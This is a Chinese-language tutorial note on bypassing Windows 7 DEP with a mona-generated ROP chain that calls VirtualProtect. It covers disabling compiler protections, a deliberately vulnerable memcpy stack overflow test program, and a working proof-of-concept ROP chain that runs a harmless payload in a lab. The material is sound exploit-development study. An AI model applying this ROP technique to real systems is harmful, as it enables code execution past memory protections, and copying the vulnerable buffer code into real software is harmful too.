Windows Shellcode學習筆記——通過VirtualProtect繞過DEP

0x00 前言

在掌握了棧溢出的基本原理和利用方法後,接下來就要研究如何繞過Windows系統對棧溢出利用的重重防護,所以測試環境也從xp轉到了Win7(相比xp,Win7的防護更全面)。本文將要介紹經典的DEP繞過方法——通過VirtualProtect繞過DEP。

0x01 簡介

本文將要介紹以下內容:

VS2012的編譯配置

利用Immunity Debugger的mona插件自動獲取ROP鏈

對ROP鏈的分析調試

調用VirtualProtect函數時的Bug及修復

0x02 相關概念

DEP:

溢出攻擊的根源在於計算機對數據和代碼沒有明確區分,如果將代碼放置於數據段,那麼系統就會去執行

為了彌補這一缺陷,微軟從XP SP2開始支持數據執行保護(Data Exection Prevention)

DEP保護原理:

數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,而有了DEP,此時CPU會拋出異常,而不是去執行指令

DEP四種工作狀態:

OptinnOptoutnAlwaysOnnAlwaysOffn

DEP繞過原理:

如果函數返回地址並不直接指向數據段,而是指向一個已存在的系統函數的入口地址,由於系統函數所在的頁面許可權是可執行的,這樣就不會觸發DEP

也就是說,可以在代碼區找到替代指令實現shellcode的功能

但是可供利用的替代指令往往有限,無法完整的實現shellcode的功能

於是產生了一個折中方法:通過替代指令關閉DEP,再轉入執行shellcode

內存頁:

x86系統一個內存頁的大小為4kb,即0x00001000,4096

ROP:

面向返回的編程(Return-oriented Programming)

VirtualProtect:

BOOL VirtualProtect{ nLPVOID lpAddress, nDWORD dwsize, nDWORD flNewProtect, nPDWORD lpflOldProtect n}n

lpAddress:內存起始地址

dwsize:內存區域大小

flNewProtect:內存屬性,PAGE_EXECUTE_READWRITE(0x40)

lpflOldProtect:內存原始屬性保存地址

通過VirtualProtect繞過DEP:

在內存中查找替代指令,填入合適的參數,調用VirtualProtect將shellcode的內存屬性設置為可讀可寫可執行,然後跳到shellcode繼續執行

0x03 VS2012的編譯配置

測試環境:

測試系統: Win 7 x86

編譯器: VS2012

build版本: Release

項目屬性:

關閉GS

關閉優化

關閉SEH

關閉DEP

關閉ASLR

禁用c++異常

禁用內部函數

具體配置方法:

配置屬性-c/c++-所有屬性

安全檢查 否(/GS-)

啟用c++異常 否

啟用內部函數 否

優化 已禁用(/Od)

配置屬性-鏈接器-所有屬性

數據執行保護(DEP) 否(/NXCOMPAT:NO)

隨機基址 否(/DYNAMICBASE:NO)

映像具有安全異常處理程序 否(/SAFESEH:NO)

0x04 實際測試

測試1:

測試代碼:

char shellcode[]=n "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"n "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"n "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"n "x41x41x41x41x42x43x44x45";nvoid test()n{n char buffer[48];n memcpy(buffer,shellcode,sizeof(shellcode));n}nint main()n{n printf("1n");n test();n return 0;n}n

註:

strcpy在執行時遇到0x00會提前截斷,為便於測試shellcode,將strcpy換成memcpy,遇到0x00不會被截斷

如上圖,成功將返回地址覆蓋為0x45444342

測試2:

shellcode起始地址為0x00403020

PUSH 1 nPOP ECXn

對應的機器碼為0x0059016A

將返回地址覆蓋為shellcode起始地址

shellcode實現如下操作:

PUSH 1 nPOP ECXn

其他位用0x90填充

c代碼如下:

char shellcode[]=n "x6Ax01x59x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x20x30x40x00";nvoid test()n{n char buffer[48];n memcpy(buffer,shellcode,sizeof(shellcode));n}nint main()n{n printf("1n");n test();n return 0;n}n

如上圖,shellcode成功執行,ECX寄存器賦值為1

測試3:

開啟DEP,再次調試,發現shellcode無法執行,如圖

測試4:

下載安裝Immunity Debugger

下載mona插件,下載地址如下:

corelan/mona

將mona.py放於C:Program FilesImmunity IncImmunity DebuggerPyCommands下

啟動Immunity Debugger,打開test.exe

使用mona插件自動生成rop鏈,輸入:

!mona rop -m *.dll -cp nonulln

如圖

mona會搜尋所有的DLL,用於構造rop鏈

執行命令後在C:Program FilesImmunity IncImmunity Debugger下生成文件rop.txt、rop_chains.txt、rop_suggestions.txt、stackpivot.txt

查看rop_chains.txt,會列出可用來關閉DEP的ROP鏈,選擇VirtualProtect()函數

如上圖,成功構建ROP鏈

註:

不同環境有可能無法獲得完整參數,需要具體環境具體分析

對應的測試poc修改如下:

unsigned int shellcode[]=n{ n 0x90909090,0x90909090,0x90909090,0x90909090,n 0x90909090,0x90909090,0x90909090,0x90909090,n 0x90909090,0x90909090,0x90909090,0x90909090,n 0x90909090,n 0x77217edd, // POP EAX // RETN [kernel32.dll] n 0x77171910, // ptr to &VirtualProtect() [IAT kernel32.dll]n 0x75d7e9dd, // MOV EAX,DWORD PTR DS:[EAX] // RETN [KERNELBASE.dll] n 0x779f9dca, // XCHG EAX,ESI // RETN [ntdll.dll] n 0x779cdd30, // POP EBP // RETN [ntdll.dll] n 0x75dac58d, // & call esp [KERNELBASE.dll]n 0x693a7031, // POP EAX // RETN [MSVCR110.dll] n 0xfffffdff, // Value to negate, will become 0x00000201n 0x69354484, // NEG EAX // RETN [MSVCR110.dll] n 0x75da655d, // XCHG EAX,EBX // ADD BH,CH // DEC ECX // RETN 0x10 [KERNELBASE.dll] n 0x69329bb1, // POP EAX // RETN [MSVCR110.dll] n 0x41414141, // Filler (RETN offset compensation)n 0x41414141, // Filler (RETN offset compensation)n 0x41414141, // Filler (RETN offset compensation)n 0x41414141, // Filler (RETN offset compensation)n 0xffffffc0, // Value to negate, will become 0x00000040n 0x69354484, // NEG EAX // RETN [MSVCR110.dll] n 0x771abd3a, // XCHG EAX,EDX // RETN [kernel32.dll] n 0x6935a7c0, // POP ECX // RETN [MSVCR110.dll] n 0x693be00d, // &Writable location [MSVCR110.dll]n 0x779a4b9a, // POP EDI // RETN [ntdll.dll] n 0x69354486, // RETN (ROP NOP) [MSVCR110.dll]n 0x693417cb, // POP EAX // RETN [MSVCR110.dll] n 0x90909090, // nopn 0x69390267, // PUSHAD // RETN [MSVCR110.dll] n 0x9059016A, //PUSH 1 // POP ECX // NOPn 0x90909090,n 0x90909090,n 0x90909090,n 0x90909090n};nvoid test()n{n char buffer[48]; n printf("3n");n memcpy(buffer,shellcode,sizeof(shellcode));n}nint main()n{n printf("1n");n test();n return 0;n}n

其中0x9059016A為PUSH 1;POP ECX;NOP;的機器碼,如果繞過DEP,該指令將會成功執行

編譯後在OllyDbg中調試

單步跟蹤到CALL KERNELBA.VirtualProtectEX,查看堆棧

可獲得傳入的函數參數

如上圖,不巧的是shellcode覆蓋了SEH鏈

這樣會導致傳入VirtualProtectEX函數的參數不正確,調用失敗,猜測調用VirtualProtectEX函數的返回值為0

如上圖,驗證上面的判斷,EAX寄存器表示返回值,返回值為0,修改內存屬性失敗

解決思路:

我們需要擴大棧空間,將SEH鏈下移,確保shellcode不會覆蓋到SEH鏈

解決方法:

修改源代碼,通過申請空間的方式下移SEH鏈

測試5:

關鍵代碼如下:

int main()n{n printf("1n");n test();n char Buf[] = n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"n "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";n return 0;n}n

編譯程序,再次放在OllyDbg中調試

單步跟蹤到CALL KERNELBA.VirtualProtectEX,查看堆棧

如圖

SEH鏈成功「下移」,位於高地址,未被shellcode覆蓋

此時傳入VirtualProtectEX函數的參數正確

按F8單步執行,查看結果

如上圖,返回值為0,修改內存屬性仍失敗

LastErr顯示錯誤為ERRPR_INVALID_ADDRESS(000001E7),表示地址錯誤

測試6:

查看正常調用函數VirtualProtect()時的堆棧,對比測試5,分析失敗原因

正常調用的實現代碼如下:

int main()n{n void *p=malloc(16);n printf("0x%08xn",p);n DWORD pflOldProtect;n int x=VirtualProtect(p,4,0x40,&pflOldProtect);n printf("%dn",x);n return 0;n}n

測試7:

如果將起始地址修改為一個不能訪問的地址,如0x40303020

編譯程序,放在OllyDbg中調試

單步跟蹤到CALL KERNELBA.VirtualProtectEX,查看堆棧

格式如圖

按F8單步執行,查看結果

如圖,產生同樣錯誤:ERRPR_INVALID_ADDRESS(000001E7)

猜測,shellcode傳入的起始地址有問題

繼續我們的測試

測試8

接著測試5,單步跟蹤到CALL KERNELBA.VirtualProtectEX,嘗試修改堆棧中的數據

將內存地址0x0012FF2c修改為當前內存頁的起始地址,即0x0012F000

如圖

按F8單步執行,查看結果

如下圖,寄存器EAX的值為1,即返回值為1,成功修改內存屬性

接著向下執行,在CALL ESP的位置按下F7,單步步入

如上圖,發現PUSH 1;POP ECX成功執行,測試成功,成功通過VirtualProtect繞過DEP,執行數據段的shellcode

註:

這種情況下,VirtualProtectEX一次最大只能修改4096長度的內存(即一個內存頁的長度),且不能跨頁修改,如果越界,返回值為0,修改失敗

通過C調用函數VirtualProtect不存在上述問題,可跨頁,長度大於4096

0x05 小結

為了在Win7下搭建測試環境,對VS2012的編譯配置需要特別注意,多重保護在提高程序安全性的同時也給環境搭建帶來了麻煩

不同系統下可供使用的替代指令往往不同,需要不斷變換思路,構造合適的ROP鏈

另外,Immunity Debugger的mona插件可為ROP鏈的編寫提供便利,但要注意存在bug的情況,需要更多的測試和優化

如果shellcode長度大於4096,使用VirtualProtect關閉DEP會失敗,需要選擇其他方法

本文為3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如果轉載,請聯繫嘶吼編輯: Windows Shellcode學習筆記——通過VirtualProtect繞過DEP 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

Hydra - Password Crack Tool
前NSA黑客逆向卡巴斯基殺軟,創建簽名檢測機密文件
手機銀行木馬Faketoken又更新,利用屏幕重疊竊取銀行信息
屢禁不止:一個敢於將自己注入到殺毒軟體中的鬥士

TAG:PowerShell | 信息安全 |